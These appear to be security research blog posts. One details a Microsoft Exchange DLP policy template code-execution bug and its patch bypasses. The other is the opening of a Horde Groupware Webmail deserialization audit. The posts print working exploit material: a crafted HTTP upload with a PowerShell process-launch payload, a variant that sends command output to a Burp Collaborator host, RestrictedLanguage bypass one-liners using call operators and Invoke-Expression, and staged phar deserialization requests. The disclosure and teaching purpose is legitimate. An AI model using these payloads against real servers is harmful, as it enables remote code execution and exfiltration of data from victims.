        public PowerShellResults ProcessUpload(DLPPolicyUploadParameters parameters)
        {
            parameters.FaultIfNull();
            if (parameters is DLPNewPolicyUploadParameters)
            {
                return base.Invoke(new PSCommand().AddCommand("New-DLPPolicy"), Identity.FromExecutingUserId(), parameters);                 // 4
            }
            return null;
        }
    }
}

At [4] the code calls the New-DLPPolicy powershell command with the attacker supplied template data. The following proof of concept triggers this bug over the /ecp web interface:

POST /ecp/DLPPolicy/ManagePolicyFromISV.aspx HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=---------------------------129510176238983759443570320270
Content-Length: 1728
Cookie: <cookies>

-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="__VIEWSTATE"

<viewstate>
-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"

ResultPanePlaceHolder_ButtonsPanel_btnNext
-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="poc.xml"

<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>360VulcanTeam</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c mspaint";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>
-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"

360VulcanTeam
-----------------------------129510176238983759443570320270--

Exploitation via Powershell

The actual poc after connecting to the server via ps-remoting was as simple as running:

`New-DlpPolicy -Name "360VulcanTeam" -TemplateData ([Byte[]](Get-Content -Encoding Byte -Path "C:\path\to\some\poc.xml" -ReadCount 0))`

…and the corresponding poc.xml payload I used execute a system command:

<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>360VulcanTeam</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c mspaint";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>

Attacking Testing Microsoft Servers

When testing, I targeted the outlook.office365.com and outlook.office.com servers and I had to change the payload a bit to access the stdout of the executed process and ship it off to my burp collaborator server:

Gaining remote code execution as SYSTEM on Microsoft's cloud

$i=New-object System.Diagnostics.ProcessStartInfo;
$i.RedirectStandardOutput=$true;
$i.CreateNoWindow=$false;
$i.UseShellExecute=$false;
$i.FileName="cmd";
$i.Arguments="/c whoami";
$r=New-Object System.Diagnostics.Process;
$r.StartInfo=$i;
$r.Start();
$stdout=$r.StandardOutput.ReadToEnd();
$r.WaitForExit();
$wc=New-Object system.Net.WebClient;
$wc.downloadString("http://qpjx5jhw5iepwty74syonufe85ev2k.burpcollaborator.net/$stdout");

Why was that working!??

To my surprise that actually worked, meaning I could execute commands as SYSTEM on Microsoft’s cloud and exfiltrate sensitive data over http without being caught. The glory of using your own zero-day found in Microsoft’s own code to attack their cloud servers is quite satisfying! Here is some fun output:

C:\WINDOWS\system32>hostname
SA0PR18MB3472

C:\WINDOWS\system32>whoami
nt authority/system

C:\WINDOWS\system32>ipconfig

Windows IP Configuration


Ethernet adapter MAPI:

   Connection-specific DNS Suffix  . : namprd18.prod.outlook.com
   IPv6 Address. . . . . . . . . . . : 2603:10b6:806:9c::14
   Link-local IPv6 Address . . . . . : fe80::5cb7:b22d:4b7e:cf08%4
   IPv4 Address. . . . . . . . . . . : 20.181.63.14
   Subnet Mask . . . . . . . . . . . : 255.255.255.192
   Default Gateway . . . . . . . . . : 2603:10b6:806:9c::4
                                       20.181.63.4

Tunnel adapter Local Area Connection* 1:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::48e1:93d:5474:330d%9
   IPv4 Address. . . . . . . . . . . : 169.254.10.45
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 

Ethernet adapter vEthernet (nat):

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::5c31:25e9:ba27:e6bc
   IPv4 Address. . . . . . . . . . . : 172.22.160.1
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . : 0.0.0.0
   
C:\WINDOWS\system32>net user

User accounts for //

-------------------------------------------------------------------------------
BandwidthBrokerUser      CLIUSR                   DefaultAccount           
ExoAdmin                 Guest                    hadoop                   
SyncOsImage              WDAGUtilityAccount       

The Patch

Microsoft patched the bug in the DlpPolicyTemplateMetaData.ValidateCmdletParameters function which is reachable from the NewDlpPolicy.InternalValidate function:

// Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicy
protected override void InternalValidate()
{
    this.DataObject = (ADComplianceProgram)this.PrepareDataObject();
    if (this.Name != null)
    {
        this.DataObject.SetId(base.DataSession as IConfigurationSession, this.Name);
    }
    this.SetupImpl();
    this.impl.Validate();  // party poopers?
}

Below is the corresponding stack trace that prevents the attack

> Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData.ValidateCmdletParameters
  mscorlib.dll!System.Collections.Generic.List<string>.ForEach
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData.Validate
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyParser.ParseDlpPolicyTemplate
  System.Core.dll!System.Linq.Enumerable.WhereSelectEnumerableIterator<System.Xml.Linq.XElement, Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData>.MoveNext
  mscorlib.dll!System.Collections.Generic.List<Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData>.List
  System.Core.dll!System.Linq.Enumerable.ToList<Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData>
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyParser.ParseDlpPolicyTemplates
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpUtils.LoadDlpPolicyTemplates
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicyImpl.LoadDlpPolicyFromCustomTemplateData
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicyImpl.Validate

The ValidateCmdletParameters function blocks two things - the first is the ability to execute inline commands (multiple commands). The patch tokenizes the command string using the PSParser class and looks for instances where commands have subcommands and if that turns out to be the case, the code throws an exception.

The second check is the validation that the supplied command starts with the string New-TransportRule and contains -DlpPolicy

The patch pretending to block my attack

Patch Bypass 1

If you look at the patch closely and have a decent understanding of powershell… (go on, take another look, I’ll wait)

// Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData
internal static void ValidateCmdletParameters(string cmdlet, IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
    if (string.IsNullOrWhiteSpace(cmdlet))
    {
        return;
    }
    Collection<PSParseError> collection2;
    Collection<PSToken> collection = PSParser.Tokenize(cmdlet, out collection2);
    if (collection2 != null && collection2.Count > 0) // ok lets just not have an errors in our command
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
    if (collection != null)
    {
        if ((from token in collection
        where token.Type == PSTokenType.Command
        select token).ToList<PSToken>().Count > 1) // just blocks multiple command tokens? what about not statement separators, comments, etc?
        {
            throw new DlpPolicyParsingException(Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
        }
    }
    bool flag = false;
    foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
    {
        if (cmdlet.StartsWith(keyValuePair.Key, StringComparison.InvariantCultureIgnoreCase)) // very weak, we can use statement seperators to bypass this
        {
            if (!Regex.IsMatch(cmdlet, keyValuePair.Value, RegexOptions.IgnoreCase))  // we can use comment tokens to slip past this
            {
                throw new DlpPolicyParsingException(Strings.DlpPolicyMissingRequiredParameter(cmdlet, keyValuePair.Value));
            }
            flag = true;
        }
    }
    if (!flag)
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
}

…then you will realize that you can execute inline code in the powershell console. So an attacker could have still called static methods from fixed types or (ab)use statement seperators ; to bypass the patch. The other thing to note is that the patch didn’t block inline comments meaning attackers could comment out the -DlpPolicy regex check. Such examples are:

neW-tRaNsPoRtRuLe $([Diagnostics.Process]::Start("cmd", "/c mspaint")) #-dLpPoLiCy

or

neW-tRaNsPoRtRuLe 360Vulcan; [Diagnostics.Process]::Start("cmd", "/c mspaint") #-dLpPoLiCy

Well done to Yasar, Leonard and Markus Vervier for discovering that particular patch bypass which they also blogged about! The other bypass I found was that it was possible to use powershell call operators using the & symbol to call powershell cmdlets. By default you can’t call cmdlets that require an argument but since we have the statement seperator we could just append the arguments to the variable call as needed!

neW-tRaNsPoRtRuLe 360Vulcan; $poc='New-object'; $i = & $poc System.Diagnostics.ProcessStartInfo; $i.UseShellExecute = $true; $i.FileName="cmd"; $i.Arguments="/c mspaint"; $r = & $poc System.Diagnostics.Process; $r.StartInfo = $i; $r.Start() #-dLpPoLiCy

Markus and I were working independently of each other and it was really interesting to see that we came up with completely different solutions for the patch bypass! Markus’s bypass works because the language mode3 for the runspace of the CmdletRunner class was set to FullLanguage.

Microsoft patched this patch bypass as CVE-2020-171324 but unfortunately the story doesn’t end there. After reviewing the patch for CVE-2020-17132, Markus and I soon realized we could bypass it again! I tried warning Microsoft multiple times that they have to be careful with this patch because there was already two different bypasses and that the patch needs to at least defend against both. Let’s review the new patch:

Patch Bypass 2

We start out again in DlpPolicyTemplateMetaData.ValidateCmdletParameters after looping through the cmdlet list:

// Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData
internal static void ValidateCmdletParameters(string cmdlet)
{
    if (!new CmdletValidator(DlpPolicyTemplateMetaData.AllowedCommands, DlpPolicyTemplateMetaData.RequiredParams, DlpPolicyTemplateMetaData.NotAllowedParams).ValidateCmdlet(cmdlet)) 
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
}

private static readonly HashSet<string> AllowedCommands = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
    "New-TransportRule"
};

private static readonly Dictionary<string, HashSet<string>> NotAllowedParams = new Dictionary<string, HashSet<string>>(StringComparer.OrdinalIgnoreCase)
{
    {
        "New-TransportRule",
        new HashSet<string>(StringComparer.OrdinalIgnoreCase)
        {
            "-Organization"
        }
    }
};

private static readonly Dictionary<string, HashSet<string>> RequiredParams = new Dictionary<string, HashSet<string>>(StringComparer.OrdinalIgnoreCase)
{
    {
        "New-TransportRule",
        new HashSet<string>(StringComparer.OrdinalIgnoreCase)
        {
            "-DlpPolicy"
        }
    }
};

Inside of the ValidateCmdletParameters function we can see a call to CmdletValidator.ValidateCmdlet:

// Microsoft.Exchange.Management.Common.CmdletValidator
public CmdletValidator(HashSet<string> allowedCommands, Dictionary<string, HashSet<string>> requiredParameters = null, Dictionary<string, HashSet<string>> notAllowedParameters = null)
{
    this.AllowedCommands = allowedCommands;
    this.RequiredParameters = requiredParameters;
    this.NotAllowedParameters = notAllowedParameters;
}
        
public bool ValidateCmdlet(string cmdlet)
{
    if (string.IsNullOrWhiteSpace(cmdlet))  // 1
    {
        return false;
    }
    Collection<PSParseError> collection2;
    Collection<PSToken> collection = PSParser.Tokenize(cmdlet, out collection2);
    if ((collection2 != null && collection2.Count > 0) || collection == null)  // 2
    {
        return false;
    }
    List<PSToken> list = (from token in collection
    where token.Type == PSTokenType.Command  // 3
    select token).ToList<PSToken>();
    if (list.Count != 1)
    {
        return false;
    }
    string content = list.First<PSToken>().Content;
    if (!this.AllowedCommands.Contains(content)) // 4
    {
        return false;
    }
    HashSet<string> hashSet = new HashSet<string>(from token in collection
    where token.Type == PSTokenType.CommandParameter
    select token into pstoken
    select pstoken.Content, StringComparer.OrdinalIgnoreCase);
    if (this.NotAllowedParameters != null && this.NotAllowedParameters.ContainsKey(content))
    {
        HashSet<string> hashSet2 = this.NotAllowedParameters[content];
        foreach (string item in hashSet)
        {
            if (hashSet2.Contains(item)) // 5
            {
                return false;
            }
        }
    }
    if (this.RequiredParameters != null && this.RequiredParameters.ContainsKey(content))
    {
        foreach (string item2 in this.RequiredParameters[content])
        {
            if (!hashSet.Contains(item2)) // 6
            {
                return false;
            }
        }
    }
    return true;
}

The function performs several checks (well 6 to be exact) and if any of them are true, then the attack will fail:

  1. The command is null
  2. There are errors in the command when parsing it
  3. There are more than 1 command
  4. The provided command isn’t “New-TransportRule”
  5. The provided command parameter is “-Organization”
  6. The provided command parameter is not “-DlpPolicy”

Also, Microsoft changed the language mode of the runspace for the CmdletRunner class to RestrictedLanguage:

// Microsoft.Exchange.Management.Common.CmdletRunner
internal static IEnumerable<PSObject> RunCmdlets(IEnumerable<string> cmdlets, bool continueOnFailure = false)
{
    PSLanguageMode languageMode = Runspace.DefaultRunspace.SessionStateProxy.LanguageMode;
    if (languageMode != PSLanguageMode.RestrictedLanguage)
    {
        Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.RestrictedLanguage;
    }

Amazingly, with all these checks and a RestrictedLanguage mode runspace, we can still bypass the function using good ol’ fashion call operators!

Escaping RestrictedLanguage mode in Powershell

& 'Invoke-Expression' '[Diagnostics.Process]::Start("cmd","/c mspaint")'; New-TransportRule -DlpPolicy

And when we parse that command above, we satisfy all 6 criteria of the validation function! As seen below, with the PSTokenType followed by it’s literal value. Note that the call operator is of type Operator and it can call String types:

Operator :: &
String :: Invoke-Expression
String :: [Diagnostics.Process]::Start("cmd","/c mspaint")
StatementSeparator :: ;
Command :: New-TransportRule
CommandParameter :: -DlpPolicy

Microsoft rewarded me handsomely for the original report under their Office 365 Cloud Bounty program for pulling that attack off along with the several bypasses. I reported this patch bypass on the 9th of December, 2020 just one day after patch tuesday and unfortunately at this time there is no mitigation against this attack for on-premise deployments of Exchange Server.

I have given Microsoft over 6 months to get the patch correct, 90 days for the first bug (standard), 60 days for the first patch bypass and 30 days for the second patch bypass. Each patch bypass loses 30 days and I don’t change the rules for any vendor, sorry.

A big thanks to Jarek and Sylvie for looking after me! As always, you can review the original advisory and download the original pocs from here and here

Conclusion

We really need to be asking ourselves: Is relying on a cloud providers with a single point of failure the right approach?

When we are looking at new technologies or focusing on new areas, it’s always wise to re-evaluate the threat landscape. Attackers may infact have more access than you initially thought and this can greatly expand the attack surface of a given technology. Microsoft rated this bug as critical because it also impacted multiple SaaS5 providers as well as on-premise installations and I agree with that assessment.

To the security researchers out there: Not all code execution bugs in .net are deserialization related. It’s easy to fall into the tunnel vision trap so it’s important to remember not to “follow the crowd”.

Is post-authenticated remote code execution dangerous?

References

A SmorgasHORDE of Vulnerabilities :: A Comparative Analysis of Discovery

19 August 2020 at 14:00

Horde Groupware Webmail

Some time ago I performed an audit of the Horde Groupware Webmail suite of applications and found an interesting code pattern that facilitated the attack of 34+ remote code execution vulnerabilities. Additionally, Andrea Cardaci’s performed an audit around the same time and we seemed to miss each others bugs due to a difference in auditing styles.

TL;DR; In this post, I share the technical details of one Andrea’s bugs that I missed and how I missed it. Then I dive into full exploitation of a vulnerability that I found that required several primitives to achieve remote code execution. Hopefully this blog post will demonstrate how obtaining the context of the application’s code can provide powerful primitives to defeat developer assumptions.

Authentication

Typically speaking, remote code execution vulnerabilities that require authentication don’t have a very high impact since an attacker requires sensitive information before gaining access. However, in webmail based applications things are a little different.

These types of applications are often remotely exposed and highly used. Attackers can still (ab)use techniques such as credential stuffing, account bruteforce, phishing or credential re-use. Once access is gained, the impact is often high, leading to outcomes like leaked email spools.

For example the Microsoft Exchange Validation Key Remote Code Execution Vulnerability (CVE-2020-0688) was exploited in the wild and required a domain account before proceeding. Another example was a file disclosure vulnerability affecting Roundcube Webmail (CVE-2017-16651) that was exploited in November 2017 requiring valid credentials.

Therefore a low privileged authenticated user that can execute remote code against a webmail based application is still a critical issue.

Backgound

Andrea discovered a local file inclusion (CVE-2020-8865) and an arbitrary file upload restricted to the /tmp directory (CVE-2020-8866). In the same blog post, he mentions two different code paths to the same phar deserialization vulnerability which has no CVE assigned and was left unpatched. Andrea and I discussed this and we came to the conclusion that the developers choose not to patch the phar deserialization issue due the patch for CVE-2020-8866 that prevents planting phar archives. Additionally, I later found out that the Horde_Http_Request_Fopen class is not used by default, which i’m positive is the reason why the issue was never patched.

To quote Andrea from his blog post:

To use the other approach instead, just bookmark phar:///tmp/exploit.phar then click on it after the upload phase.

What is evident is that his approach to discovering the phar deserialization issues was through black-box auditing which can help reveal context that’s mapped to the UI. Whilst white-box auditing is important for discovering a large varient base, it’s evident that a black-box approach can still find critical issues where varients can be modelled from.

Horde Groupware Webmail Trean_Queue_Task_Crawl url Deserialization of Unstrusted Data Remote Code Execution Vulnerability

Summary

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Horde Groupware Webmail Edition. Low privileged authentication is required to exploit this vulnerability.

The specific flaw exists within the Trean_Queue_Task_Crawl class. When parsing the url parameter the process does not properly validate the user-supplied value prior to using it in file operations that result in deserialization of untrusted data. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the www-data user.

Attack Flow

This flow can be triggered after a user has logged in and planted a phar archive using CVE-2020-8866:

Stage 1 - Add a bookmark with the url parameter mapping to your malicious phar archive.

POST /horde/trean/add.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Cookie: Horde=<sessionid>

actionID=add_bookmark&url=phar:///tmp/poc.xyz

Stage 2 - Leak the b parameter. This is required to trigger stage 3.

GET /horde/trean/ HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

response…

...
        <a href="/horde/trean/redirect.php?b=28" target="_blank">phar:///tmp/poc.xyz</a>

Stage 3 - Trigger phar deserialization.

GET /horde/trean/redirect.php?b=28 HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

Vulnerability Analysis

As noted, an attacker can reach the trigger path from the trean/redirect.php script:

require_once __DIR__ . '/lib/Application.php';
Horde_Registry::appInit('trean');

$bookmark_id = Horde_Util::getFormData('b');
if (!$bookmark_id) {
    exit;
}

try {
    $bookmark = $trean_gateway->getBookmark($bookmark_id);
    ++$bookmark->clicks;
    $bookmark->save();                                              // 1
    header('Location: ' . Horde::externalUrl($bookmark->url));
} catch (Exception $e) {
}

The save method is implemented in the trean/lib/Bookmark.php script:

class Trean_Bookmark
{

    //...

    public function save($crawl = true)                             // 2
    {
        if (!strlen($this->url)) {
            throw new Trean_Exception('Incomplete bookmark');
        }

        $charset = $GLOBALS['trean_db']->getOption('charset');
        $c_url = Horde_String::convertCharset($this->url, 'UTF-8', $charset);
        $c_title = Horde_String::convertCharset($this->title, 'UTF-8', $charset);
        $c_description = Horde_String::convertCharset($this->description, 'UTF-8', $charset);
        $c_favicon_url = Horde_String::convertCharset($this->favicon_url, 'UTF-8', $charset);

        if ($this->id) {
            // Update an existing bookmark.
            $GLOBALS['trean_db']->update('
                UPDATE trean_bookmarks
                SET user_id = ?,
                    bookmark_url = ?,
                    bookmark_title = ?,
                    bookmark_description = ?,
                    bookmark_clicks = ?,
                    bookmark_http_status = ?,
                    favicon_url = ?
                WHERE bookmark_id = ?',
                array(
                    $this->userId,
                    $c_url,
                    $c_title,
                    $c_description,
                    $this->clicks,
                    $this->http_status,
                    $c_favicon_url,
                    $this->id,
            ));

            $GLOBALS['injector']->getInstance('Trean_Tagger')->replaceTags((string)$this->id, $this->tags, $GLOBALS['registry']->getAuth(), 'bookmark');
        } else {
            // Saving a new bookmark.
            $bookmark_id = $GLOBALS['trean_db']->insert('
                INSERT INTO trean_bookmarks (
                    user_id,
                    bookmark_url,
                    bookmark_title,
                    bookmark_description,
                    bookmark_clicks,
                    bookmark_http_status,
                    favicon_url,
                    bookmark_dt
                ) VALUES (?, ?, ?, ?, ?, ?, ?, ?)',
                array(
                    $this->userId,
                    $c_url,
                    $c_title,
                    $c_description,
                    $this->clicks,
                    $this->http_status,
                    $c_favicon_url,
                    $this->dt,
            ));

            $this->id = (int)$bookmark_id;
            $GLOBALS['injector']->getInstance('Trean_Tagger')->tag((string)$this->id, $this->tags, $GLOBALS['registry']->getAuth(), 'bookmark');
        }

        if ($crawl) {                                                                   // 3
            try {
                $queue = $GLOBALS['injector']->getInstance('Horde_Queue_Storage');
                $queue->add(new Trean_Queue_Task_Crawl(                                 // 4
                    $this->url,                                                         // 5
                    $this->title,
                    $this->description,
                    $this->id,
                    $this->userId
                ));
            } catch (Exception $e) {
                Horde::log($e, 'INFO');
            }
        }

The attacker supplied url is parsed as the first argument to the constructor of the Trean_Queue_Task_Crawl class (defined in the trean/lib/Queue/Task/Crawl.php script) and the created instance is added to a queue. Classes that are added to a queue have their run method triggered:

class Trean_Queue_Task_Crawl implements Horde_Queue_Task
{

    //...

    public function __construct($url, $userTitle, $userDesc, $bookmarkId, $userId)
    {
        $this->_url = $url;
        $this->_userTitle = $userTitle;
        $this->_userDesc = $userDesc;
        $this->_bookmarkId = $bookmarkId;
        $this->_userId = $userId;
    }

    /**
     */
    public function run()
    {
        $injector = $GLOBALS['injector'];

        // Get Horde_Http_Client
        $client = $injector->getInstance('Horde_Http_Client');

        // Fetch full text of $url
        try {
            $page = $client->get($this->_url);                                          // 6

At [6] the code calls the get method from a Horde_Http_Client instance. This class is defined in /usr/share/php/Horde/Http/Client.php script:

class Horde_Http_Client
{

    //...

    public function get($uri = null, $headers = array())
    {
        return $this->request('GET', $uri, null, $headers);
    }

    //...

    public function request(
        $method, $uri = null, $data = null, $headers = array()
    )
    {
        if ($method !== null) {
            $this->request->method = $method;
        }
        if ($uri !== null) {
            $this->request->uri = $uri;
        }
        if ($data !== null) {
            $this->request->data = $data;
        }
        if (count($headers)) {
            $this->request->setHeaders($headers);
        }

        $this->_lastRequest = $this->_request;
        $this->_lastResponse = $this->_request->send();                                 // 7

        return $this->_lastResponse;
    }

Several classes that extend the Horde_Http_Request_Base class implement the send method that is triggered at [7]:

researcher@target:/var/www/horde$ grep -sir "function send(" /usr/share/php/Horde/Http/Request/
/usr/share/php/Horde/Http/Request/Mock.php:    public function send()
/usr/share/php/Horde/Http/Request/Curl.php:    public function send()
/usr/share/php/Horde/Http/Request/Base.php:    abstract public function send();
/usr/share/php/Horde/Http/Request/Peclhttp.php:    public function send()
/usr/share/php/Horde/Http/Request/Fopen.php:    public function send()
/usr/share/php/Horde/Http/Request/Peclhttp2.php:    public function send()

We can determine which implementation is used statically by investigating the Horde_Http_Request_Factory class defined in the /usr/share/php/Horde/Http/Request/Factory.php file:

    public function create()
    {
        if (class_exists('HttpRequest', false)) {
            return new Horde_Http_Request_Peclhttp();                    // 1
        } elseif (class_exists('\http\Client', false)) {
            return new Horde_Http_Request_Peclhttp2();                   // 2
        } elseif (extension_loaded('curl')) {
            return new Horde_Http_Request_Curl();                        // 3
        } elseif (ini_get('allow_url_fopen')) {
            return new Horde_Http_Request_Fopen();                       // 4
        } else {
            // ...
        }
    }

By default, [1] and [2] are not installed. When installing from the pear server (the default installation), [3] is installed. We can verify this by adding a die(var_dump($this->_request)) to the request method, dumping the instance object at runtime:

object(Horde_Http_Request_Curl)#210 (3) {
  ["_httpAuthSchemes":protected]=>
  array(5) {
    ["ANY"]=>
    int(-17)
    ["BASIC"]=>
    int(1)
    ["DIGEST"]=>
    int(2)
    ["GSSNEGOTIATE"]=>
    int(4)
    ["NTLM"]=>
    int(8)
  }
  ["_headers":protected]=>
  array(0) {
  }
  ["_options":protected]=>
  array(16) {
    ["uri"]=>
    string(21) "phar:///tmp/poc.phar"
    ["method"]=>
    string(3) "GET"
    ["data"]=>
    NULL
    ["username"]=>
    string(0) ""
    ["password"]=>
    string(0) ""
    ["authenticationScheme"]=>
    string(3) "ANY"
    ["proxyServer"]=>
    NULL
    ["proxyPort"]=>
    NULL
    ["proxyType"]=>
    int(0)
    ["proxyUsername"]=>
    NULL
    ["proxyPassword"]=>
    NULL
    ["proxyAuthenticationScheme"]=>
    string(5) "BASIC"
    ["redirects"]=>
    int(5)
    ["timeout"]=>
    int(5)
    ["userAgent"]=>
    string(16) "Horde_Http 2.1.7"
    ["verifyPeer"]=>
    bool(true)
  }
}

Therefore if the php-curl extension IS installed, then its not possible to exploit this bug. Only non-default setups are vulnerable because they can reach the send method of the Horde_Http_Request_Fopen class at [4].


    public function send()
    {
        $method = $this->method;
        $uri = (string)$this->uri;

        //...

        // fopen() requires a protocol scheme
        if (parse_url($uri, PHP_URL_SCHEME) === null) {
            $uri = 'http://' . $uri;
        }

        //...

        $stream = fopen($uri, 'rb', false, $context);                  // triggers phar deserialization here

        //...

This is an interesting code pattern I have seen several times in PHP applications that need to implement a client downloader.

How I Missed the Phar and Portal Bugs

Playing around with the GUI and throwing in URI’s looking for an SSRF would have found this Phar deserialization issue. Also, by performing heavy code analysis, I had forgotten to audit the classes extending the Horde_Core_Block class since I couldn’t find a direct way to trigger their instantiation and usage at the time. By adding widgets into the portal interface, I would have discovered how the Horde_Core_Block classes could have been reached!

As a friend once asked me: do you even known what the GUI looks like?

Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability

Summary

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Horde Groupware Webmail Edition. Low privileged authentication is required to exploit this vulnerability.

The specific flaw exists within Sort.php. When parsing the sortpref parameter, the process does not properly validate user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the www-data user.

Vulnerability Analysis

There are more than meets the eye to this large application (or group of applications rather). To understand this bug in depth, it will make sense to present it first and then explain the primitives required to reach and exploit it.

It’s possible to reach a second order deserialization of untrusted data in the IMP_Prefs_Sort class constructor defined in the imp/lib/Prefs/Sort.php script:

class IMP_Prefs_Sort implements ArrayAccess, IteratorAggregate
{
    /* Preference name in backend. */
    const SORTPREF = 'sortpref';

    /**
     * The sortpref value.
     *
     * @var array
     */
    protected $_sortpref = array();

    /**
     * Constructor.
     */
    public function __construct()
    {
        global $prefs;

        $sortpref = @unserialize($prefs->getValue(self::SORTPREF));             // 1
        if (is_array($sortpref)) {
            $this->_sortpref = $sortpref;
        }
    }

At first, this seems almost impossible to reach. Let’s break down what is required to exploit this vulnerability and then deal with them one by one:

1. Preference Control:

An attacker needs to be able to set the sortpref preference. These preferences are a per application setting and are stored in the database.

2. Object Instantiation:

The bug we are trying to reach is in the __construct method and the way to get that method fired, is to find a code path that calls new on the IMP_Prefs_Sort class or find a code path where we can control the class name to a new call.

3. Property Oriented Programming (POP) Chain:

We need something to unserialize that will do something dangerous, you know, like remote code execution.

The Primitives

Preference Control:

Before we can trigger the object instantiation, thus the deserialization of untrusted data, we need to be able to set the preference to a malicious serialized PHP object. One thing to note is that inside the IMP_Prefs_Sort class, the $prefs variable is set to global. This indicates to us that their must be another location where that variable can be modified.

From the GUI, Horde Groupware Webmail exposes a way to set preferences for an application using the services/prefs.php script. The issue with that however, is that a user doesn’t have control of all of the preferences. For example, a typical preference request might look like:

POST /horde/services/prefs.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Cookie: Horde=<sessionid>

horde_prefs_token=<csrftoken>&actionID=update_prefs&group=searches&app=imp&searches_action=1

That’s not going to cut it, we need something more specific and granular. As it turns out, several ajax handlers in different applications register the setPrefValue method from the Horde_Core_Ajax_Application_Handler_Prefs class. This particular ajax handler is not exposed from the GUI.

researcher@target:/var/www/horde$ grep -sir "Horde_Core_Ajax_Application_Handler_Prefs" .
./imp/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./mnemo/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./trean/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./kronolith/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./nag/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');

Since the IMP_Prefs_Sort class is within the imp application, I opted to use the IMP_Ajax_Application class so that I can set the preference for the imp (since preferences are application specific). Inside of the Horde_Core_Ajax_Application_Handler_Prefs class, we can see the setPrefValue method definition:

